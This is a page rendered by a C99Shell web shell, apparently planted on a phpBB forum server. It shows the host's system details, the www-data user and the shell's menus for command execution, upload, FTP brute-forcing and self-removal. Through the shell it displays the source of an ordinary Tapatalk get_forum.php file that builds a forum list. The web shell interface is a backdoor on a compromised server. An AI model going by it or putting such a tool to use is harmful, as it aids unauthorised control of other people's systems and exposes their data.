!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/mobiquo/function/   drwxrwxr-x
Free 83.29 GB of 96.73 GB (86.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     get_forum.php (14.17 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*
* @copyright (c) 2009 Quoord Systems Limited
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

defined('IN_MOBIQUO') or exit;

function 
get_forum_func()
{
    global 
$db$auth$user$config$mobiquo_config$phpbb_home;
    
    
$unread = array();
//    if ($user->data['is_registered'])
//    {    
//        $ex_fid_ary = array_unique(array_merge(array_keys($auth->acl_getf('!f_read', true)), array_keys($auth->acl_getf('!f_search', true))));
//        $not_in_fid = (sizeof($ex_fid_ary)) ? 'WHERE ' . $db->sql_in_set('f.forum_id', $ex_fid_ary, true) . " OR (f.forum_password <> '' AND fa.user_id <> " . (int) $user->data['user_id'] . ')' : "";
//        
//        $sql = 'SELECT f.forum_id, f.forum_name, f.parent_id, f.forum_type, f.right_id, f.forum_password, fa.user_id
//                FROM ' . FORUMS_TABLE . ' f
//                LEFT JOIN ' . FORUMS_ACCESS_TABLE . " fa ON (fa.forum_id = f.forum_id
//                AND fa.session_id = '" . $db->sql_escape($user->session_id) . "')
//                $not_in_fid
//                ORDER BY f.left_id";
//        $result = $db->sql_query($sql);
//        
//        while ($row = $db->sql_fetchrow($result))
//        {
//            if ($row['forum_password'] && $row['user_id'] != $user->data['user_id'])
//            {
//                $ex_fid_ary[] = (int) $row['forum_id'];
//                continue;
//            }
//        }
//        $db->sql_freeresult($result);
//    
//        // find out in which forums the user is allowed to view approved posts
//        if ($auth->acl_get('m_approve'))
//        {
//            $m_approve_fid_sql = '';
//        }
//        else if ($auth->acl_getf_global('m_approve'))
//        {
//            $m_approve_fid_ary = array_diff(array_keys($auth->acl_getf('!m_approve', true)), $ex_fid_ary);
//            $m_approve_fid_sql = ' AND (t.topic_approved = 1' . ((sizeof($m_approve_fid_ary)) ? ' OR ' . $db->sql_in_set('t.forum_id', $m_approve_fid_ary, true) : '') . ')';
//        }
//        else
//        {
//            $m_approve_fid_sql = ' AND t.topic_approved = 1';
//        }
//    
//        $sql = 'SELECT t.topic_id, t.forum_id, t.topic_last_post_time FROM ' . TOPICS_TABLE . ' t
//                WHERE t.topic_last_post_time > ' . $user->data['user_lastvisit'] . '
//                AND t.topic_moved_id = 0 ' . $m_approve_fid_sql .
//                ((sizeof($ex_fid_ary)) ? ' AND ' . $db->sql_in_set('t.forum_id', $ex_fid_ary, true) : '');
//        $result = $db->sql_query($sql);
//        
//        while ($row = $db->sql_fetchrow($result))
//        {
//            $topic_id = $row['topic_id'];
//            $forum_id = $row['forum_id'];
//            $topic_tracking = get_complete_topic_tracking($forum_id, $topic_id);
//            if ($topic_tracking[$topic_id] < $row['topic_last_post_time'])
//            {
//                $unread[$forum_id] += 1;
//            }
//        }
//        $db->sql_freeresult($result);
//    }
    
    
$sql 'SELECT f.* '. ($user->data['is_registered'] ? ', fw.notify_status' '') . '
            FROM ' 
FORUMS_TABLE ' f ' .
            (
$user->data['is_registered'] ? ' LEFT JOIN ' FORUMS_WATCH_TABLE ' fw ON (fw.forum_id = f.forum_id AND fw.user_id = ' $user->data['user_id'] . ')' '') . '
            ORDER BY f.left_id ASC'
;
    
$result $db->sql_query($sql600);
    
    
$forum_rows = array();
    
$forum_rows[0] = array('forum_id' => 0'parent_id' => -1'child' => array());
    while (
$row $db->sql_fetchrow($result))
    {
        
$forum_id $row['forum_id'];
        
        if (
$row['forum_type'] == FORUM_CAT && ($row['left_id'] + == $row['right_id']))
        {
            
// Non-postable forum with no subforums, don't display
            
continue;
        }

        
// Skip branch
        
if (isset($right_id))
        {
            if (
$row['left_id'] < $right_id)
            {
                continue;
            }
            unset(
$right_id);
        }

        if (!
$auth->acl_get('f_list'$forum_id) || (isset($mobiquo_config['hide_forum_id']) && in_array($forum_id$mobiquo_config['hide_forum_id'])))
        {
            
// if the user does not have permissions to list this forum, skip everything until next branch
            
$right_id $row['right_id'];
            continue;
        }
        
        
$row['unread_count'] = 0;
        
        if (
$user->data['is_registered'] && ($config['email_enable'] || $config['jab_enable']) && $config['allow_forum_notify'] && $row['forum_type'] == FORUM_POST && $auth->acl_get('f_subscribe'$forum_id))
        {
            
$row['can_subscribe'] = true;
            
$row['is_subscribed'] = isset($row['notify_status']) && !is_null($row['notify_status']) && $row['notify_status'] !== '' true false;
        } else {
            
$row['can_subscribe'] = false;
            
$row['is_subscribed'] = false;
        }
        
        
$forum_rows[$forum_id] = $row;
    }
    
$db->sql_freeresult($result);


    
$forum_rows[0] = array('parent_id' => -1'child' => array());
    while(empty(
$forum_rows[0]['child']) && count($forum_rows) > 1)
    {
        
$current_parent_id = -1;
        
$leaves_forum = array();
        foreach(
$forum_rows as $row)
        {            
            
$row_parent_id $row['parent_id'];
    
            if (
$row_parent_id != $current_parent_id)
            {
                if(isset(
$leaves_forum[$row_parent_id]))
                {
                    
$leaves_forum[$row_parent_id] = array();
                }
                else
                {
                    if(isset(
$leaves_forum[$forum_rows[$row_parent_id]['parent_id']]))
                    {
                        
$leaves_forum[$forum_rows[$row_parent_id]['parent_id']] = array();
                    }
                    
$leaves_forum[$row_parent_id][] = $row['forum_id'];
                }
                
$current_parent_id $row_parent_id;
            }
            else if (
$row_parent_id == $current_parent_id)
            {
                if(!empty(
$leaves_forum[$row_parent_id]))
                {
                    
$leaves_forum[$row_parent_id][] = $row['forum_id'];
                }
            }
        }
        
        foreach(
$leaves_forum as $node_forum_id => $leaves)
        {
            foreach(
$leaves as $forum_id)
            {
                
$logo_url '';
                if (
file_exists("./forum_icons/$forum_id.png"))
                {
                    
$logo_url $phpbb_home."mobiquo/forum_icons/$forum_id.png";
                }
                else if (
file_exists("./forum_icons/$forum_id.jpg"))
                {
                    
$logo_url $phpbb_home."mobiquo/forum_icons/$forum_id.jpg";
                }
                else if (
file_exists("./forum_icons/default.png"))
                {
                    
$logo_url $phpbb_home."mobiquo/forum_icons/default.png";
                }
                else if (
$forum_rows[$forum_id]['forum_image'])
                {
                    
$logo_url $phpbb_home.$forum_rows[$forum_id]['forum_image'];
                }
                
                
$unread_count count(get_unread_topics(false"AND t.forum_id = $forum_id"));
                
$forum_rows[$forum_id]['unread_count'] += $unread_count;
                if (
$forum_rows[$forum_id]['unread_count'])
                {
                    
$forum_rows[$forum_rows[$forum_id]['parent_id']]['unread_count'] += $forum_rows[$forum_id]['unread_count'];
                }
                
                
$xmlrpc_forum = new xmlrpcval(array(
                    
'forum_id'      => new xmlrpcval($forum_id),
                    
'forum_name'    => new xmlrpcval(html_entity_decode($forum_rows[$forum_id]['forum_name']), 'base64'),
                    
'description'   => new xmlrpcval(html_entity_decode($forum_rows[$forum_id]['forum_desc']), 'base64'),
                    
'parent_id'     => new xmlrpcval($node_forum_id),
                    
'logo_url'      => new xmlrpcval($logo_url),
                    
'new_post'      => new xmlrpcval($forum_rows[$forum_id]['unread_count'] ? true false'boolean'),
                    
'unread_count'  => new xmlrpcval($forum_rows[$forum_id]['unread_count'], 'int'),
                    
'is_protected'  => new xmlrpcval($forum_rows[$forum_id]['forum_password'] ? true false'boolean'),
                    
'url'           => new xmlrpcval($forum_rows[$forum_id]['forum_link']),
                    
'sub_only'      => new xmlrpcval(($forum_rows[$forum_id]['forum_type'] == FORUM_POST) ? false true'boolean'),
                    
                    
'can_subscribe' => new xmlrpcval($forum_rows[$forum_id]['can_subscribe'], 'boolean'),
                    
'is_subscribed' => new xmlrpcval($forum_rows[$forum_id]['is_subscribed'], 'boolean'),
                ), 
'struct');
                
                if (isset(
$forum_rows[$forum_id]['child']))
                {
                    
$xmlrpc_forum->addStruct(array('child' => new xmlrpcval($forum_rows[$forum_id]['child'], 'array')));
                }
                
                
$forum_rows[$node_forum_id]['child'][] = $xmlrpc_forum;
                unset(
$forum_rows[$forum_id]);
            }
        }
    }
    
    
$response = new xmlrpcval($forum_rows[0]['child'], 'array');
    
    return new 
xmlrpcresp($response);
// End of get_forum_func

if (!function_exists('get_unread_topics'))
{
    function 
get_unread_topics($user_id false$sql_extra ''$sql_sort ''$sql_limit 1001)
    {
        global 
$config$db$user;
    
        
$user_id = ($user_id === false) ? (int) $user->data['user_id'] : (int) $user_id;
    
        
// Data array we're going to return
        
$unread_topics = array();
    
        if (empty(
$sql_sort))
        {
            
$sql_sort 'ORDER BY t.topic_last_post_time DESC';
        }
    
        if (
$config['load_db_lastread'] && $user->data['is_registered'])
        {
            
// Get list of the unread topics
            
$last_mark $user->data['user_lastmark'];
    
            
$sql_array = array(
                
'SELECT'        => 't.topic_id, t.topic_last_post_time, tt.mark_time as topic_mark_time, ft.mark_time as forum_mark_time',
    
                
'FROM'            => array(TOPICS_TABLE => 't'),
    
                
'LEFT_JOIN'        => array(
                    array(
                        
'FROM'    => array(TOPICS_TRACK_TABLE => 'tt'),
                        
'ON'    => "tt.user_id = $user_id AND t.topic_id = tt.topic_id",
                    ),
                    array(
                        
'FROM'    => array(FORUMS_TRACK_TABLE => 'ft'),
                        
'ON'    => "ft.user_id = $user_id AND t.forum_id = ft.forum_id",
                    ),
                ),
    
                
'WHERE'            => "
                    (
                    (tt.mark_time IS NOT NULL AND t.topic_last_post_time > tt.mark_time) OR
                    (tt.mark_time IS NULL AND ft.mark_time IS NOT NULL AND t.topic_last_post_time > ft.mark_time) OR
                    (tt.mark_time IS NULL AND ft.mark_time IS NULL AND t.topic_last_post_time > 
$last_mark)
                    )
                    
$sql_extra
                    
$sql_sort",
            );
    
            
$sql $db->sql_build_query('SELECT'$sql_array);
            
$result $db->sql_query_limit($sql$sql_limit);
    
            while (
$row $db->sql_fetchrow($result))
            {
                
$topic_id = (int) $row['topic_id'];
                
$unread_topics[$topic_id] = ($row['topic_mark_time']) ? (int) $row['topic_mark_time'] : (($row['forum_mark_time']) ? (int) $row['forum_mark_time'] : $last_mark);
            }
            
$db->sql_freeresult($result);
        }
        else if (
$config['load_anon_lastread'] || $user->data['is_registered'])
        {
            global 
$tracking_topics;
    
            if (empty(
$tracking_topics))
            {
                
$tracking_topics request_var($config['cookie_name'] . '_track'''falsetrue);
                
$tracking_topics = ($tracking_topics) ? tracking_unserialize($tracking_topics) : array();
            }
    
            if (!
$user->data['is_registered'])
            {
                
$user_lastmark = (isset($tracking_topics['l'])) ? base_convert($tracking_topics['l'], 3610) + $config['board_startdate'] : 0;
            }
            else
            {
                
$user_lastmark = (int) $user->data['user_lastmark'];
            }
    
            
$sql 'SELECT t.topic_id, t.forum_id, t.topic_last_post_time
                FROM ' 
TOPICS_TABLE ' t
                WHERE t.topic_last_post_time > ' 
$user_lastmark "
                
$sql_extra
                
$sql_sort";
            
$result $db->sql_query_limit($sql$sql_limit);
    
            while (
$row $db->sql_fetchrow($result))
            {
                
$forum_id = (int) $row['forum_id'];
                
$topic_id = (int) $row['topic_id'];
                
$topic_id36 base_convert($topic_id1036);
    
                if (isset(
$tracking_topics['t'][$topic_id36]))
                {
                    
$last_read base_convert($tracking_topics['t'][$topic_id36], 3610) + $config['board_startdate'];
    
                    if (
$row['topic_last_post_time'] > $last_read)
                    {
                        
$unread_topics[$topic_id] = $last_read;
                    }
                }
                else if (isset(
$tracking_topics['f'][$forum_id]))
                {
                    
$mark_time base_convert($tracking_topics['f'][$forum_id], 3610) + $config['board_startdate'];
    
                    if (
$row['topic_last_post_time'] > $mark_time)
                    {
                        
$unread_topics[$topic_id] = $mark_time;
                    }
                }
                else
                {
                    
$unread_topics[$topic_id] = $user_lastmark;
                }
            }
            
$db->sql_freeresult($result);
        }
    
        return 
$unread_topics;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0052 ]--